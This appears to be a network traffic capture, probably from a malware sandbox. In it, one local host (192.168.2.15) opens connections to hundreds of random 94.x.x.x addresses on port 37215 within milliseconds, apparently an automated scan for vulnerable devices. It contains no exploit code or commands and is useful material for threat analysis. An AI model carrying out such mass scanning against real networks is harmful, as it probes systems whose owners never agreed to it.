Feb 19, 2024 18:36:20.980055094 CET	18052	37215	192.168.2.15	94.49.131.224
Feb 19, 2024 18:36:20.980073929 CET	18052	37215	192.168.2.15	94.83.75.224
Feb 19, 2024 18:36:20.980092049 CET	18052	37215	192.168.2.15	94.135.89.228
Feb 19, 2024 18:36:20.980104923 CET	18052	37215	192.168.2.15	94.195.15.22
Feb 19, 2024 18:36:20.980123997 CET	18052	37215	192.168.2.15	94.252.25.110
Feb 19, 2024 18:36:20.980139017 CET	18052	37215	192.168.2.15	94.77.40.144
Feb 19, 2024 18:36:20.980155945 CET	18052	37215	192.168.2.15	94.195.180.220
Feb 19, 2024 18:36:20.980174065 CET	18052	37215	192.168.2.15	94.75.131.104
Feb 19, 2024 18:36:20.980194092 CET	18052	37215	192.168.2.15	94.69.40.12
Feb 19, 2024 18:36:20.980205059 CET	18052	37215	192.168.2.15	94.112.104.93
Feb 19, 2024 18:36:20.980240107 CET	18052	37215	192.168.2.15	94.52.127.159
Feb 19, 2024 18:36:20.980240107 CET	18052	37215	192.168.2.15	94.2.69.154
Feb 19, 2024 18:36:20.980262041 CET	18052	37215	192.168.2.15	94.248.12.165
Feb 19, 2024 18:36:20.980273962 CET	18052	37215	192.168.2.15	94.236.23.17
Feb 19, 2024 18:36:20.980288029 CET	18052	37215	192.168.2.15	94.41.93.176
Feb 19, 2024 18:36:20.980307102 CET	18052	37215	192.168.2.15	94.105.233.35
Feb 19, 2024 18:36:20.980319977 CET	18052	37215	192.168.2.15	94.53.1.160
Feb 19, 2024 18:36:20.980339050 CET	18052	37215	192.168.2.15	94.91.232.252
Feb 19, 2024 18:36:20.980356932 CET	18052	37215	192.168.2.15	94.12.68.246
Feb 19, 2024 18:36:20.980375051 CET	18052	37215	192.168.2.15	94.168.60.203
Feb 19, 2024 18:36:20.980390072 CET	18052	37215	192.168.2.15	94.123.111.123
Feb 19, 2024 18:36:20.980407953 CET	18052	37215	192.168.2.15	94.220.131.161
Feb 19, 2024 18:36:20.980426073 CET	18052	37215	192.168.2.15	94.25.155.241
Feb 19, 2024 18:36:20.980439901 CET	18052	37215	192.168.2.15	94.58.219.71
Feb 19, 2024 18:36:20.980458975 CET	18052	37215	192.168.2.15	94.27.192.205
Feb 19, 2024 18:36:20.980479956 CET	18052	37215	192.168.2.15	94.187.0.181
Feb 19, 2024 18:36:20.980490923 CET	18052	37215	192.168.2.15	94.81.117.74
Feb 19, 2024 18:36:20.980504990 CET	18052	37215	192.168.2.15	94.17.245.110
Feb 19, 2024 18:36:20.980520010 CET	18052	37215	192.168.2.15	94.6.90.45
Feb 19, 2024 18:36:20.980539083 CET	18052	37215	192.168.2.15	94.129.66.204
Feb 19, 2024 18:36:20.980556965 CET	18052	37215	192.168.2.15	94.75.253.218
Feb 19, 2024 18:36:20.980568886 CET	18052	37215	192.168.2.15	94.131.113.219
Feb 19, 2024 18:36:20.980591059 CET	18052	37215	192.168.2.15	94.126.167.142
Feb 19, 2024 18:36:20.980607986 CET	18052	37215	192.168.2.15	94.185.164.234
Feb 19, 2024 18:36:20.980623007 CET	18052	37215	192.168.2.15	94.101.98.100
Feb 19, 2024 18:36:20.980634928 CET	18052	37215	192.168.2.15	94.225.149.231
Feb 19, 2024 18:36:20.980657101 CET	18052	37215	192.168.2.15	94.230.201.101
Feb 19, 2024 18:36:20.980668068 CET	18052	37215	192.168.2.15	94.236.62.163
Feb 19, 2024 18:36:20.980681896 CET	18052	37215	192.168.2.15	94.75.116.45
Feb 19, 2024 18:36:20.980704069 CET	18052	37215	192.168.2.15	94.58.142.241
Feb 19, 2024 18:36:20.980716944 CET	18052	37215	192.168.2.15	94.189.23.103
Feb 19, 2024 18:36:20.980736971 CET	18052	37215	192.168.2.15	94.204.110.121
Feb 19, 2024 18:36:20.980751991 CET	18052	37215	192.168.2.15	94.26.139.209
Feb 19, 2024 18:36:20.980767012 CET	18052	37215	192.168.2.15	94.4.62.174
Feb 19, 2024 18:36:20.980781078 CET	18052	37215	192.168.2.15	94.20.181.121
Feb 19, 2024 18:36:20.980796099 CET	18052	37215	192.168.2.15	94.6.66.89
Feb 19, 2024 18:36:20.980829000 CET	18052	37215	192.168.2.15	94.195.51.91
Feb 19, 2024 18:36:20.980833054 CET	18052	37215	192.168.2.15	94.111.122.6
Feb 19, 2024 18:36:20.980844975 CET	18052	37215	192.168.2.15	94.96.13.248
Feb 19, 2024 18:36:20.980864048 CET	18052	37215	192.168.2.15	94.168.11.115
Feb 19, 2024 18:36:20.980881929 CET	18052	37215	192.168.2.15	94.23.44.248
Feb 19, 2024 18:36:20.980896950 CET	18052	37215	192.168.2.15	94.206.216.132
Feb 19, 2024 18:36:20.980920076 CET	18052	37215	192.168.2.15	94.146.102.233
Feb 19, 2024 18:36:20.980933905 CET	18052	37215	192.168.2.15	94.70.53.232
Feb 19, 2024 18:36:20.980945110 CET	18052	37215	192.168.2.15	94.85.44.59
Feb 19, 2024 18:36:20.980962992 CET	18052	37215	192.168.2.15	94.244.11.44
Feb 19, 2024 18:36:20.980978012 CET	18052	37215	192.168.2.15	94.195.36.135
Feb 19, 2024 18:36:20.980998039 CET	18052	37215	192.168.2.15	94.239.47.215
Feb 19, 2024 18:36:20.981008053 CET	18052	37215	192.168.2.15	94.204.209.82
Feb 19, 2024 18:36:20.981023073 CET	18052	37215	192.168.2.15	94.121.227.205
Feb 19, 2024 18:36:20.981045961 CET	18052	37215	192.168.2.15	94.75.61.130
Feb 19, 2024 18:36:20.981064081 CET	18052	37215	192.168.2.15	94.216.245.221
Feb 19, 2024 18:36:20.981079102 CET	18052	37215	192.168.2.15	94.96.31.82
Feb 19, 2024 18:36:20.981091976 CET	18052	37215	192.168.2.15	94.154.134.107
Feb 19, 2024 18:36:20.981110096 CET	18052	37215	192.168.2.15	94.188.66.125
Feb 19, 2024 18:36:20.981126070 CET	18052	37215	192.168.2.15	94.117.182.45
Feb 19, 2024 18:36:20.981137991 CET	18052	37215	192.168.2.15	94.81.245.17
Feb 19, 2024 18:36:20.981163979 CET	18052	37215	192.168.2.15	94.252.251.9
Feb 19, 2024 18:36:20.981172085 CET	18052	37215	192.168.2.15	94.64.5.18
Feb 19, 2024 18:36:20.981194973 CET	18052	37215	192.168.2.15	94.171.20.136
Feb 19, 2024 18:36:20.981204987 CET	18052	37215	192.168.2.15	94.217.19.26
Feb 19, 2024 18:36:20.981223106 CET	18052	37215	192.168.2.15	94.135.70.151
Feb 19, 2024 18:36:20.981235981 CET	18052	37215	192.168.2.15	94.238.33.122
Feb 19, 2024 18:36:20.981254101 CET	18052	37215	192.168.2.15	94.140.165.68
Feb 19, 2024 18:36:20.981268883 CET	18052	37215	192.168.2.15	94.160.174.15
Feb 19, 2024 18:36:20.981292009 CET	18052	37215	192.168.2.15	94.250.84.78
Feb 19, 2024 18:36:20.981301069 CET	18052	37215	192.168.2.15	94.43.101.35
Feb 19, 2024 18:36:20.981313944 CET	18052	37215	192.168.2.15	94.4.224.1
Feb 19, 2024 18:36:20.981333971 CET	18052	37215	192.168.2.15	94.84.66.220
Feb 19, 2024 18:36:20.981348038 CET	18052	37215	192.168.2.15	94.4.242.87
Feb 19, 2024 18:36:20.981365919 CET	18052	37215	192.168.2.15	94.86.144.204
Feb 19, 2024 18:36:20.981384993 CET	18052	37215	192.168.2.15	94.2.40.231
Feb 19, 2024 18:36:20.981400967 CET	18052	37215	192.168.2.15	94.39.223.71
Feb 19, 2024 18:36:20.981420040 CET	18052	37215	192.168.2.15	94.78.115.17
Feb 19, 2024 18:36:20.981434107 CET	18052	37215	192.168.2.15	94.221.27.13
Feb 19, 2024 18:36:20.981456995 CET	18052	37215	192.168.2.15	94.236.124.85
Feb 19, 2024 18:36:20.981473923 CET	18052	37215	192.168.2.15	94.129.39.25
Feb 19, 2024 18:36:20.981487036 CET	18052	37215	192.168.2.15	94.119.82.195
Feb 19, 2024 18:36:20.981507063 CET	18052	37215	192.168.2.15	94.33.92.26
Feb 19, 2024 18:36:20.981518030 CET	18052	37215	192.168.2.15	94.27.193.201
Feb 19, 2024 18:36:20.981539965 CET	18052	37215	192.168.2.15	94.132.112.135
Feb 19, 2024 18:36:20.981571913 CET	18052	37215	192.168.2.15	94.12.252.5
Feb 19, 2024 18:36:20.981574059 CET	18052	37215	192.168.2.15	94.251.70.178
Feb 19, 2024 18:36:20.981585979 CET	18052	37215	192.168.2.15	94.44.203.150
Feb 19, 2024 18:36:20.981606007 CET	18052	37215	192.168.2.15	94.155.144.11
Feb 19, 2024 18:36:20.981620073 CET	18052	37215	192.168.2.15	94.92.115.61
Feb 19, 2024 18:36:20.981633902 CET	18052	37215	192.168.2.15	94.248.87.67
Feb 19, 2024 18:36:20.981653929 CET	18052	37215	192.168.2.15	94.175.147.176
Feb 19, 2024 18:36:20.981663942 CET	18052	37215	192.168.2.15	94.152.181.42
Feb 19, 2024 18:36:20.981683016 CET	18052	37215	192.168.2.15	94.86.109.52
Feb 19, 2024 18:36:20.981695890 CET	18052	37215	192.168.2.15	94.249.200.151
Feb 19, 2024 18:36:20.981712103 CET	18052	37215	192.168.2.15	94.162.237.182
Feb 19, 2024 18:36:20.981730938 CET	18052	37215	192.168.2.15	94.62.122.179
Feb 19, 2024 18:36:20.981745958 CET	18052	37215	192.168.2.15	94.92.201.255
Feb 19, 2024 18:36:20.981764078 CET	18052	37215	192.168.2.15	94.150.226.141
Feb 19, 2024 18:36:20.981779099 CET	18052	37215	192.168.2.15	94.227.180.70
Feb 19, 2024 18:36:20.981795073 CET	18052	37215	192.168.2.15	94.29.181.127
Feb 19, 2024 18:36:20.981807947 CET	18052	37215	192.168.2.15	94.66.230.6
Feb 19, 2024 18:36:20.981827021 CET	18052	37215	192.168.2.15	94.122.168.226
Feb 19, 2024 18:36:20.981844902 CET	18052	37215	192.168.2.15	94.72.118.122
Feb 19, 2024 18:36:20.981856108 CET	18052	37215	192.168.2.15	94.65.76.195
Feb 19, 2024 18:36:20.981872082 CET	18052	37215	192.168.2.15	94.85.131.216
Feb 19, 2024 18:36:20.981899023 CET	18052	37215	192.168.2.15	94.130.66.153
Feb 19, 2024 18:36:20.981910944 CET	18052	37215	192.168.2.15	94.223.229.184
Feb 19, 2024 18:36:20.981925964 CET	18052	37215	192.168.2.15	94.143.27.60
Feb 19, 2024 18:36:20.981950998 CET	18052	37215	192.168.2.15	94.23.179.158
Feb 19, 2024 18:36:20.981964111 CET	18052	37215	192.168.2.15	94.227.170.247
Feb 19, 2024 18:36:20.981983900 CET	18052	37215	192.168.2.15	94.66.183.17
Feb 19, 2024 18:36:20.981993914 CET	18052	37215	192.168.2.15	94.30.248.247
Feb 19, 2024 18:36:20.982013941 CET	18052	37215	192.168.2.15	94.203.108.176
Feb 19, 2024 18:36:20.982032061 CET	18052	37215	192.168.2.15	94.138.20.162
Feb 19, 2024 18:36:20.982045889 CET	18052	37215	192.168.2.15	94.57.37.117
Feb 19, 2024 18:36:20.982064962 CET	18052	37215	192.168.2.15	94.249.112.165
Feb 19, 2024 18:36:20.982074976 CET	18052	37215	192.168.2.15	94.2.142.64
Feb 19, 2024 18:36:20.982093096 CET	18052	37215	192.168.2.15	94.13.75.118
Feb 19, 2024 18:36:20.982111931 CET	18052	37215	192.168.2.15	94.9.85.151
Feb 19, 2024 18:36:20.982126951 CET	18052	37215	192.168.2.15	94.153.164.126
Feb 19, 2024 18:36:20.982148886 CET	18052	37215	192.168.2.15	94.29.9.56
Feb 19, 2024 18:36:20.982162952 CET	18052	37215	192.168.2.15	94.231.99.79
Feb 19, 2024 18:36:20.982172966 CET	18052	37215	192.168.2.15	94.26.73.103
Feb 19, 2024 18:36:20.982198000 CET	18052	37215	192.168.2.15	94.254.107.153
Feb 19, 2024 18:36:20.982214928 CET	18052	37215	192.168.2.15	94.102.178.76
Feb 19, 2024 18:36:20.982223988 CET	18052	37215	192.168.2.15	94.169.154.79
Feb 19, 2024 18:36:20.982238054 CET	18052	37215	192.168.2.15	94.5.140.226
Feb 19, 2024 18:36:20.982251883 CET	18052	37215	192.168.2.15	94.165.154.198
Feb 19, 2024 18:36:20.982273102 CET	18052	37215	192.168.2.15	94.202.105.207
Feb 19, 2024 18:36:20.982285023 CET	18052	37215	192.168.2.15	94.211.185.55
Feb 19, 2024 18:36:20.982302904 CET	18052	37215	192.168.2.15	94.81.109.175
Feb 19, 2024 18:36:20.982325077 CET	18052	37215	192.168.2.15	94.92.142.190
Feb 19, 2024 18:36:20.982326031 CET	18052	37215	192.168.2.15	94.5.0.207
Feb 19, 2024 18:36:20.982347012 CET	18052	37215	192.168.2.15	94.36.119.245
Feb 19, 2024 18:36:20.982366085 CET	18052	37215	192.168.2.15	94.176.127.53
Feb 19, 2024 18:36:20.982383013 CET	18052	37215	192.168.2.15	94.130.235.196
Feb 19, 2024 18:36:20.982398987 CET	18052	37215	192.168.2.15	94.90.168.26
Feb 19, 2024 18:36:20.982409000 CET	18052	37215	192.168.2.15	94.201.245.167
Feb 19, 2024 18:36:20.982431889 CET	18052	37215	192.168.2.15	94.28.223.208
Feb 19, 2024 18:36:20.982449055 CET	18052	37215	192.168.2.15	94.77.140.125
Feb 19, 2024 18:36:20.982464075 CET	18052	37215	192.168.2.15	94.213.47.19
Feb 19, 2024 18:36:20.982477903 CET	18052	37215	192.168.2.15	94.158.227.136
Feb 19, 2024 18:36:20.982500076 CET	18052	37215	192.168.2.15	94.112.70.32
Feb 19, 2024 18:36:20.982513905 CET	18052	37215	192.168.2.15	94.167.34.210
Feb 19, 2024 18:36:20.982528925 CET	18052	37215	192.168.2.15	94.198.108.227
Feb 19, 2024 18:36:20.982542992 CET	18052	37215	192.168.2.15	94.181.41.77
Feb 19, 2024 18:36:20.982562065 CET	18052	37215	192.168.2.15	94.137.1.206
Feb 19, 2024 18:36:20.982575893 CET	18052	37215	192.168.2.15	94.84.209.226
Feb 19, 2024 18:36:20.982592106 CET	18052	37215	192.168.2.15	94.74.156.155
Feb 19, 2024 18:36:20.982605934 CET	18052	37215	192.168.2.15	94.111.83.173
Feb 19, 2024 18:36:20.982626915 CET	18052	37215	192.168.2.15	94.23.153.16
Feb 19, 2024 18:36:20.982645035 CET	18052	37215	192.168.2.15	94.38.206.177
Feb 19, 2024 18:36:20.982655048 CET	18052	37215	192.168.2.15	94.54.181.104
Feb 19, 2024 18:36:20.982676029 CET	18052	37215	192.168.2.15	94.71.16.131
Feb 19, 2024 18:36:20.982690096 CET	18052	37215	192.168.2.15	94.98.120.132
Feb 19, 2024 18:36:20.982706070 CET	18052	37215	192.168.2.15	94.54.50.148
Feb 19, 2024 18:36:20.982724905 CET	18052	37215	192.168.2.15	94.58.10.71
Feb 19, 2024 18:36:20.982733011 CET	18052	37215	192.168.2.15	94.165.134.0
Feb 19, 2024 18:36:20.982754946 CET	18052	37215	192.168.2.15	94.239.5.54
Feb 19, 2024 18:36:20.982765913 CET	18052	37215	192.168.2.15	94.200.222.15
Feb 19, 2024 18:36:20.982783079 CET	18052	37215	192.168.2.15	94.197.194.111
Feb 19, 2024 18:36:20.982798100 CET	18052	37215	192.168.2.15	94.85.19.136
Feb 19, 2024 18:36:20.982811928 CET	18052	37215	192.168.2.15	94.180.171.157
Feb 19, 2024 18:36:20.982834101 CET	18052	37215	192.168.2.15	94.119.136.79
Feb 19, 2024 18:36:20.982850075 CET	18052	37215	192.168.2.15	94.73.33.191
Feb 19, 2024 18:36:20.982863903 CET	18052	37215	192.168.2.15	94.131.250.201
Feb 19, 2024 18:36:20.982881069 CET	18052	37215	192.168.2.15	94.11.238.104
Feb 19, 2024 18:36:20.982897043 CET	18052	37215	192.168.2.15	94.224.2.150
Feb 19, 2024 18:36:20.982909918 CET	18052	37215	192.168.2.15	94.160.21.203
Feb 19, 2024 18:36:20.982928038 CET	18052	37215	192.168.2.15	94.79.139.38
Feb 19, 2024 18:36:20.982949972 CET	18052	37215	192.168.2.15	94.182.115.97
Feb 19, 2024 18:36:20.982966900 CET	18052	37215	192.168.2.15	94.73.30.209
Feb 19, 2024 18:36:20.982985020 CET	18052	37215	192.168.2.15	94.30.60.17
Feb 19, 2024 18:36:20.982992887 CET	18052	37215	192.168.2.15	94.136.125.3
Feb 19, 2024 18:36:20.983009100 CET	18052	37215	192.168.2.15	94.27.69.46
Feb 19, 2024 18:36:20.983027935 CET	18052	37215	192.168.2.15	94.248.97.190
Feb 19, 2024 18:36:20.983042002 CET	18052	37215	192.168.2.15	94.236.76.133
Feb 19, 2024 18:36:20.983057976 CET	18052	37215	192.168.2.15	94.184.217.210
Feb 19, 2024 18:36:20.983076096 CET	18052	37215	192.168.2.15	94.30.107.31
Feb 19, 2024 18:36:20.983086109 CET	18052	37215	192.168.2.15	94.213.36.3
Feb 19, 2024 18:36:20.983105898 CET	18052	37215	192.168.2.15	94.221.132.174
Feb 19, 2024 18:36:20.983127117 CET	18052	37215	192.168.2.15	94.138.121.135
Feb 19, 2024 18:36:20.983144999 CET	18052	37215	192.168.2.15	94.152.199.30
Feb 19, 2024 18:36:20.983159065 CET	18052	37215	192.168.2.15	94.91.173.70
Feb 19, 2024 18:36:20.983179092 CET	18052	37215	192.168.2.15	94.216.252.238
Feb 19, 2024 18:36:20.983196974 CET	18052	37215	192.168.2.15	94.138.17.165
Feb 19, 2024 18:36:20.983216047 CET	18052	37215	192.168.2.15	94.52.138.158
Feb 19, 2024 18:36:20.983227968 CET	18052	37215	192.168.2.15	94.27.205.64
Feb 19, 2024 18:36:20.983246088 CET	18052	37215	192.168.2.15	94.4.230.246
Feb 19, 2024 18:36:20.983256102 CET	18052	37215	192.168.2.15	94.74.84.180
Feb 19, 2024 18:36:20.983278036 CET	18052	37215	192.168.2.15	94.245.30.124
Feb 19, 2024 18:36:20.983292103 CET	18052	37215	192.168.2.15	94.144.79.191
Feb 19, 2024 18:36:20.983310938 CET	18052	37215	192.168.2.15	94.226.165.67
Feb 19, 2024 18:36:20.983330011 CET	18052	37215	192.168.2.15	94.90.232.237
Feb 19, 2024 18:36:20.983341932 CET	18052	37215	192.168.2.15	94.218.163.141
Feb 19, 2024 18:36:20.983355045 CET	18052	37215	192.168.2.15	94.19.156.0
Feb 19, 2024 18:36:20.983370066 CET	18052	37215	192.168.2.15	94.176.189.167
Feb 19, 2024 18:36:20.983385086 CET	18052	37215	192.168.2.15	94.55.67.175
Feb 19, 2024 18:36:20.983401060 CET	18052	37215	192.168.2.15	94.181.207.29
Feb 19, 2024 18:36:20.983418941 CET	18052	37215	192.168.2.15	94.189.92.238
Feb 19, 2024 18:36:20.983436108 CET	18052	37215	192.168.2.15	94.122.39.63
Feb 19, 2024 18:36:20.983445883 CET	18052	37215	192.168.2.15	94.83.139.207
Feb 19, 2024 18:36:20.983468056 CET	18052	37215	192.168.2.15	94.215.216.130
Feb 19, 2024 18:36:20.983484030 CET	18052	37215	192.168.2.15	94.17.157.68
Feb 19, 2024 18:36:20.983498096 CET	18052	37215	192.168.2.15	94.89.155.244
Feb 19, 2024 18:36:20.983515024 CET	18052	37215	192.168.2.15	94.216.169.92
Feb 19, 2024 18:36:20.983529091 CET	18052	37215	192.168.2.15	94.101.98.2
Feb 19, 2024 18:36:20.983544111 CET	18052	37215	192.168.2.15	94.165.111.67
Feb 19, 2024 18:36:20.983562946 CET	18052	37215	192.168.2.15	94.92.234.186
Feb 19, 2024 18:36:20.983577967 CET	18052	37215	192.168.2.15	94.189.129.69
Feb 19, 2024 18:36:20.983596087 CET	18052	37215	192.168.2.15	94.159.66.130
Feb 19, 2024 18:36:20.983613968 CET	18052	37215	192.168.2.15	94.158.228.79
Feb 19, 2024 18:36:20.983630896 CET	18052	37215	192.168.2.15	94.157.100.154
Feb 19, 2024 18:36:20.983649969 CET	18052	37215	192.168.2.15	94.213.161.238
Feb 19, 2024 18:36:20.983664989 CET	18052	37215	192.168.2.15	94.112.218.45
Feb 19, 2024 18:36:20.983680010 CET	18052	37215	192.168.2.15	94.76.35.148
Feb 19, 2024 18:36:20.983700991 CET	18052	37215	192.168.2.15	94.75.96.137
Feb 19, 2024 18:36:20.983717918 CET	18052	37215	192.168.2.15	94.133.245.36
Feb 19, 2024 18:36:20.983731985 CET	18052	37215	192.168.2.15	94.83.42.195
Feb 19, 2024 18:36:20.983752012 CET	18052	37215	192.168.2.15	94.61.145.25
Feb 19, 2024 18:36:20.983768940 CET	18052	37215	192.168.2.15	94.213.160.42
Feb 19, 2024 18:36:20.983788967 CET	18052	37215	192.168.2.15	94.110.194.7
Feb 19, 2024 18:36:20.983798981 CET	18052	37215	192.168.2.15	94.12.158.131
Feb 19, 2024 18:36:20.983815908 CET	18052	37215	192.168.2.15	94.220.219.89
Feb 19, 2024 18:36:20.983833075 CET	18052	37215	192.168.2.15	94.110.52.83
Feb 19, 2024 18:36:20.983851910 CET	18052	37215	192.168.2.15	94.161.30.127
Feb 19, 2024 18:36:20.983882904 CET	18052	37215	192.168.2.15	94.153.191.85
Feb 19, 2024 18:36:20.983891964 CET	18052	37215	192.168.2.15	94.98.101.17
Feb 19, 2024 18:36:20.983913898 CET	18052	37215	192.168.2.15	94.76.182.117
Feb 19, 2024 18:36:20.983921051 CET	18052	37215	192.168.2.15	94.184.99.10
Feb 19, 2024 18:36:20.983942986 CET	18052	37215	192.168.2.15	94.166.139.122
Feb 19, 2024 18:36:20.983972073 CET	18052	37215	192.168.2.15	94.114.13.11
Feb 19, 2024 18:36:20.983978033 CET	18052	37215	192.168.2.15	94.103.120.83
Feb 19, 2024 18:36:20.983985901 CET	18052	37215	192.168.2.15	94.101.58.233
Feb 19, 2024 18:36:20.984003067 CET	18052	37215	192.168.2.15	94.162.120.37
Feb 19, 2024 18:36:20.984039068 CET	18052	37215	192.168.2.15	94.22.248.169
Feb 19, 2024 18:36:20.984039068 CET	18052	37215	192.168.2.15	94.240.183.191
Feb 19, 2024 18:36:20.984056950 CET	18052	37215	192.168.2.15	94.111.14.198
Feb 19, 2024 18:36:20.984067917 CET	18052	37215	192.168.2.15	94.61.234.77
Feb 19, 2024 18:36:20.984086037 CET	18052	37215	192.168.2.15	94.176.119.20
Feb 19, 2024 18:36:20.984106064 CET	18052	37215	192.168.2.15	94.88.204.133
Feb 19, 2024 18:36:20.984122992 CET	18052	37215	192.168.2.15	94.9.8.21
Feb 19, 2024 18:36:20.984137058 CET	18052	37215	192.168.2.15	94.88.91.194
Feb 19, 2024 18:36:20.984152079 CET	18052	37215	192.168.2.15	94.25.159.134
Feb 19, 2024 18:36:20.984169006 CET	18052	37215	192.168.2.15	94.64.78.58
Feb 19, 2024 18:36:20.984189034 CET	18052	37215	192.168.2.15	94.69.255.205
Feb 19, 2024 18:36:20.984203100 CET	18052	37215	192.168.2.15	94.44.130.223
Feb 19, 2024 18:36:20.984220028 CET	18052	37215	192.168.2.15	94.135.28.234
Feb 19, 2024 18:36:20.984244108 CET	18052	37215	192.168.2.15	94.247.199.139
Feb 19, 2024 18:36:20.984252930 CET	18052	37215	192.168.2.15	94.23.155.169
Feb 19, 2024 18:36:20.984292030 CET	18052	37215	192.168.2.15	94.113.235.50
Feb 19, 2024 18:36:20.984308004 CET	18052	37215	192.168.2.15	94.247.195.182
Feb 19, 2024 18:36:20.984309912 CET	18052	37215	192.168.2.15	94.233.161.90
Feb 19, 2024 18:36:20.984323025 CET	18052	37215	192.168.2.15	94.97.122.118
Feb 19, 2024 18:36:20.984344006 CET	18052	37215	192.168.2.15	94.74.197.121
Feb 19, 2024 18:36:20.984360933 CET	18052	37215	192.168.2.15	94.127.104.239
Feb 19, 2024 18:36:20.984374046 CET	18052	37215	192.168.2.15	94.45.176.214
Feb 19, 2024 18:36:20.984392881 CET	18052	37215	192.168.2.15	94.186.171.230
Feb 19, 2024 18:36:20.984407902 CET	18052	37215	192.168.2.15	94.245.55.156
Feb 19, 2024 18:36:20.984422922 CET	18052	37215	192.168.2.15	94.117.49.202
Feb 19, 2024 18:36:20.984437943 CET	18052	37215	192.168.2.15	94.154.52.221
Feb 19, 2024 18:36:20.984457970 CET	18052	37215	192.168.2.15	94.235.181.93
Feb 19, 2024 18:36:20.984477997 CET	18052	37215	192.168.2.15	94.158.32.191
Feb 19, 2024 18:36:20.984492064 CET	18052	37215	192.168.2.15	94.27.1.58
Feb 19, 2024 18:36:20.984523058 CET	18052	37215	192.168.2.15	94.176.124.167
Feb 19, 2024 18:36:20.984529018 CET	18052	37215	192.168.2.15	94.39.150.130
Feb 19, 2024 18:36:20.984540939 CET	18052	37215	192.168.2.15	94.151.52.105
Feb 19, 2024 18:36:20.984560966 CET	18052	37215	192.168.2.15	94.190.83.24
Feb 19, 2024 18:36:20.984570980 CET	18052	37215	192.168.2.15	94.24.19.176
Feb 19, 2024 18:36:20.984590054 CET	18052	37215	192.168.2.15	94.139.179.116
Feb 19, 2024 18:36:20.984600067 CET	18052	37215	192.168.2.15	94.189.150.134
Feb 19, 2024 18:36:20.984622955 CET	18052	37215	192.168.2.15	94.240.89.44
Feb 19, 2024 18:36:20.984642029 CET	18052	37215	192.168.2.15	94.156.34.213
Feb 19, 2024 18:36:20.984656096 CET	18052	37215	192.168.2.15	94.9.82.10
Feb 19, 2024 18:36:20.984668970 CET	18052	37215	192.168.2.15	94.247.249.83
Feb 19, 2024 18:36:20.984688044 CET	18052	37215	192.168.2.15	94.190.23.125
Feb 19, 2024 18:36:20.984704971 CET	18052	37215	192.168.2.15	94.177.105.144
Feb 19, 2024 18:36:20.984720945 CET	18052	37215	192.168.2.15	94.135.140.31
Feb 19, 2024 18:36:20.984739065 CET	18052	37215	192.168.2.15	94.102.219.67
Feb 19, 2024 18:36:20.984755039 CET	18052	37215	192.168.2.15	94.121.212.153
Feb 19, 2024 18:36:20.984766960 CET	18052	37215	192.168.2.15	94.88.140.159
Feb 19, 2024 18:36:20.984786034 CET	18052	37215	192.168.2.15	94.244.127.136
Feb 19, 2024 18:36:20.984807014 CET	18052	37215	192.168.2.15	94.142.228.179
Feb 19, 2024 18:36:20.984819889 CET	18052	37215	192.168.2.15	94.239.82.136
Feb 19, 2024 18:36:20.984839916 CET	18052	37215	192.168.2.15	94.19.58.205
Feb 19, 2024 18:36:20.984853983 CET	18052	37215	192.168.2.15	94.113.196.248
Feb 19, 2024 18:36:20.984875917 CET	18052	37215	192.168.2.15	94.144.6.80
Feb 19, 2024 18:36:20.984886885 CET	18052	37215	192.168.2.15	94.33.138.241
Feb 19, 2024 18:36:20.984905958 CET	18052	37215	192.168.2.15	94.244.144.54
Feb 19, 2024 18:36:20.984920025 CET	18052	37215	192.168.2.15	94.23.100.81
Feb 19, 2024 18:36:20.984935999 CET	18052	37215	192.168.2.15	94.197.212.7
Feb 19, 2024 18:36:20.984958887 CET	18052	37215	192.168.2.15	94.230.235.182
Feb 19, 2024 18:36:20.984970093 CET	18052	37215	192.168.2.15	94.249.68.39
Feb 19, 2024 18:36:20.984988928 CET	18052	37215	192.168.2.15	94.211.169.21
Feb 19, 2024 18:36:20.984999895 CET	18052	37215	192.168.2.15	94.203.244.64
Feb 19, 2024 18:36:20.985017061 CET	18052	37215	192.168.2.15	94.116.109.40
Feb 19, 2024 18:36:20.985038042 CET	18052	37215	192.168.2.15	94.197.109.68
Feb 19, 2024 18:36:20.985048056 CET	18052	37215	192.168.2.15	94.161.46.94
Feb 19, 2024 18:36:20.985068083 CET	18052	37215	192.168.2.15	94.101.141.225
Feb 19, 2024 18:36:20.985081911 CET	18052	37215	192.168.2.15	94.136.35.219
Feb 19, 2024 18:36:20.985097885 CET	18052	37215	192.168.2.15	94.71.215.170
Feb 19, 2024 18:36:20.985109091 CET	18052	37215	192.168.2.15	94.2.16.193
Feb 19, 2024 18:36:20.985129118 CET	18052	37215	192.168.2.15	94.9.104.58
Feb 19, 2024 18:36:20.985142946 CET	18052	37215	192.168.2.15	94.254.246.220
Feb 19, 2024 18:36:20.985160112 CET	18052	37215	192.168.2.15	94.66.204.13
Feb 19, 2024 18:36:20.985181093 CET	18052	37215	192.168.2.15	94.60.73.67
Feb 19, 2024 18:36:20.985196114 CET	18052	37215	192.168.2.15	94.173.199.251
Feb 19, 2024 18:36:20.985210896 CET	18052	37215	192.168.2.15	94.45.1.209
Feb 19, 2024 18:36:20.985229015 CET	18052	37215	192.168.2.15	94.44.231.28
Feb 19, 2024 18:36:20.985246897 CET	18052	37215	192.168.2.15	94.5.224.37
Feb 19, 2024 18:36:20.985259056 CET	18052	37215	192.168.2.15	94.65.8.165
Feb 19, 2024 18:36:20.985274076 CET	18052	37215	192.168.2.15	94.116.55.194
Feb 19, 2024 18:36:20.985294104 CET	18052	37215	192.168.2.15	94.126.60.234
Feb 19, 2024 18:36:20.985306978 CET	18052	37215	192.168.2.15	94.47.213.181
Feb 19, 2024 18:36:20.985325098 CET	18052	37215	192.168.2.15	94.114.168.95
Feb 19, 2024 18:36:20.985346079 CET	18052	37215	192.168.2.15	94.47.223.85
Feb 19, 2024 18:36:20.985357046 CET	18052	37215	192.168.2.15	94.43.251.82
Feb 19, 2024 18:36:20.985375881 CET	18052	37215	192.168.2.15	94.120.2.228
Feb 19, 2024 18:36:20.985389948 CET	18052	37215	192.168.2.15	94.97.5.231
Feb 19, 2024 18:36:20.985409021 CET	18052	37215	192.168.2.15	94.139.247.14
Feb 19, 2024 18:36:20.985423088 CET	18052	37215	192.168.2.15	94.100.253.222
Feb 19, 2024 18:36:20.985440969 CET	18052	37215	192.168.2.15	94.222.56.153
Feb 19, 2024 18:36:20.985457897 CET	18052	37215	192.168.2.15	94.14.207.126
Feb 19, 2024 18:36:20.985477924 CET	18052	37215	192.168.2.15	94.117.6.21
Feb 19, 2024 18:36:20.985491991 CET	18052	37215	192.168.2.15	94.178.30.116
Feb 19, 2024 18:36:20.985511065 CET	18052	37215	192.168.2.15	94.169.82.132
